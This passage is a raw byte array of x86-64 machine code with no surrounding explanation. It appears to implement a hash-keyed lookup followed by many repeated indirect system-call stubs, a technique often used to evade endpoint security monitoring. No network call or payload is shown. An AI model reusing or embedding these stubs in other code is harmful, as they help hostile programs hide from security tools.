x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x85,0x68,0xFF,0xFF,0xFF,0x8B,0x45,0xE0,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x8D,0x1C,0x02,0x8B,0x95,0x74,0xFF,0xFF,0xFF,0x48,0x8B,0x85,0x68,0xFF,0xFF,0xFF,0x48,0x89,0xC1,0xE8,0x48,0xFA,0xFF,0xFF,0x48,0x89,0x43,0x08,0x83,0x45,0xE0,0x01,0x8B,0x05,0x79,0xA1,0x00,0x00,0x83,0xE8,0x01,0x39,0x45,0xE0,0x72,0x9F,0xB8,0x01,0x00,0x00,0x00,0x48,0x81,0xC4,0xE8,0x00,0x00,0x00,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x89,0x4D,0x10,0xE8,0xAC,0xFB,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x3B,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xEB,0x22,0x8B,0x45,0xFC,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8D,0x05,0x35,0xA1,0x00,0x00,0x8B,0x04,0x02,0x39,0x45,0x10,0x75,0x05,0x8B,0x45,0xFC,0xEB,0x14,0x83,0x45,0xFC,0x01,0x8B,0x05,0x16,0xA1,0x00,0x00,0x39,0x45,0xFC,0x72,0xD3,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x89,0x4D,0x10,0xE8,0x50,0xFB,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x4D,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xEB,0x34,0x8B,0x45,0xFC,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8D,0x05,0xD9,0xA0,0x00,0x00,0x8B,0x04,0x02,0x39,0x45,0x10,0x75,0x17,0x8B,0x45,0xFC,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8D,0x05,0xC8,0xA0,0x00,0x00,0x48,0x8B,0x04,0x02,0xEB,0x14,0x83,0x45,0xFC,0x01,0x8B,0x05,0xA8,0xA0,0x00,0x00,0x39,0x45,0xFC,0x72,0xC1,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x48,0xC7,0xC0,0x00,0x00,0x00,0x00,0xC3,0x90,0x0F,0x0B,0x48,0x8B,0x04,0x24,0xC3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x0F,0x2A,0x9B,0xCD,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x57,0xFF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xEC,0xFE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x2F,0x1A,0xBF,0xFF,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0xFD,0xFE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x92,0xFE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x67,0x75,0x8B,0x11,0x51,0x48,0x83,0xEC,0x28,0xE8,0xA6,0xFE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x3B,0xFE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x3F,0xD3,0x52,0x22,0x51,0x48,0x83,0xEC,0x28,0xE8,0x4F,0xFE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xE4,0xFD,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0xA2,0x15,0xA9,0x8F,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0xF5,0xFD,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x8A,0xFD,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x20,0xBC,0xBC,0xBD,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x9B,0xFD,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x30,0xFD,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x80,0xE9,0x93,0x03,0x51,0x48,0x83,0xEC,0x28,0xE8,0x44,0xFD,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xD9,0xFC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x32,0x1B,0xAB,0x17,0x51,0x48,0x83,0xEC,0x28,0xE8,0xED,0xFC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x82,0xFC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x1B,0x03,0x95,0x05,0x51,0x48,0x83,0xEC,0x28,0xE8,0x96,0xFC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x2B,0xFC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x05,0x2F,0x93,0x01,0x51,0x48,0x83,0xEC,0x28,0xE8,0x3F,0xFC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xD4,0xFB,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0xB6,0x8E,0x01,0x96,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0xE5,0xFB,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x7A,0xFB,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x1A,0x2A,0xB2,0x24,0x51,0x48,0x83,0xEC,0x28,0xE8,0x8E,0xFB,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x23,0xFB,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xE3,0xE2,0x98,0x11,0x51,0x48,0x83,0xEC,0x28,0xE8,0x37,0xFB,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xCC,0xFA,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x8F,0x2C,0x5B,0x4A,0x51,0x48,0x83,0xEC,0x28,0xE8,0xE0,0xFA,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x75,0xFA,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x13,0xA4,0xBF,0x9C,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x86,0xFA,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x1B,0xFA,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x4F,0xF6,0x23,0x0E,0x51,0x48,0x83,0xEC,0x28,0xE8,0x2F,0xFA,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xC4,0xF9,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xE3,0x76,0x63,0x42,0x51,0x48,0x83,0xEC,0x28,0xE8,0xD8,0xF9,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x6D,0xF9,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x1A,0x6A,0xB2,0x64,0x51,0x48,0x83,0xEC,0x28,0xE8,0x81,0xF9,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x16,0xF9,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xA0,0x64,0x2E,0x65,0x51,0x48,0x83,0xEC,0x28,0xE8,0x2A,0xF9,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xBF,0xF8,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x0C,0x32,0x9F,0x1D,0x51,0x48,0x83,0xEC,0x28,0xE8,0xD3,0xF8,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x68,0xF8,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x36,0x71,0x91,0x27,0x51,0x48,0x83,0xEC,0x28,0xE8,0x7C,0xF8,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x11,0xF8,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x84,0x83,0x9C,0x09,0x51,0x48,0x83,0xEC,0x28,0xE8,0x25,0xF8,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xBA,0xF7,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x87,0x5F,0xBE,0x1A,0x51,0x48,0x83,0xEC,0x28,0xE8,0xCE,0xF7,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x63,0xF7,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0xEA,0x62,0xBD,0xBC,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x74,0xF7,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x09,0xF7,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x6D,0xBA,0xD1,0x8A,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x1A,0xF7,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xAF,0xF6,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x0F,0x98,0x97,0x8C,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0xC0,0xF6,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x55,0xF6,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0xA7,0x8C,0x3A,0xA6,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x66,0xF6,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xFB,0xF5,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0xF9,0x12,0x69,0xF0,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x0C,0xF6,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xA1,0xF5,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x18,0x39,0xA3,0x73,0x51,0x48,0x83,0xEC,0x28,0xE8,0xB5,0xF5,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x4A,0xF5,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xFB,0x5E,0xAB,0x7C,0x51,0x48,0x83,0xEC,0x28,0xE8,0x5E,0xF5,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xF3,0xF4,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x1E,0x5C,0x98,0x38,0x51,0x48,0x83,0xEC,0x28,0xE8,0x07,0xF5,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x9C,0xF4,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x82,0x4D,0xDF,0x84,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0xAD,0xF4,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x42,0xF4,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x0C,0x86,0xB2,0xA1,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x53,0xF4,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xE8,0xF3,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x80,0x2D,0x1F,0x0A,0x51,0x48,0x83,0xEC,0x28,0xE8,0xFC,0xF3,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x91,0xF3,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x13,0x36,0x82,0x14,0x51,0x48,0x83,0xEC,0x28,0xE8,0xA5,0xF3,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x3A,0xF3,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x8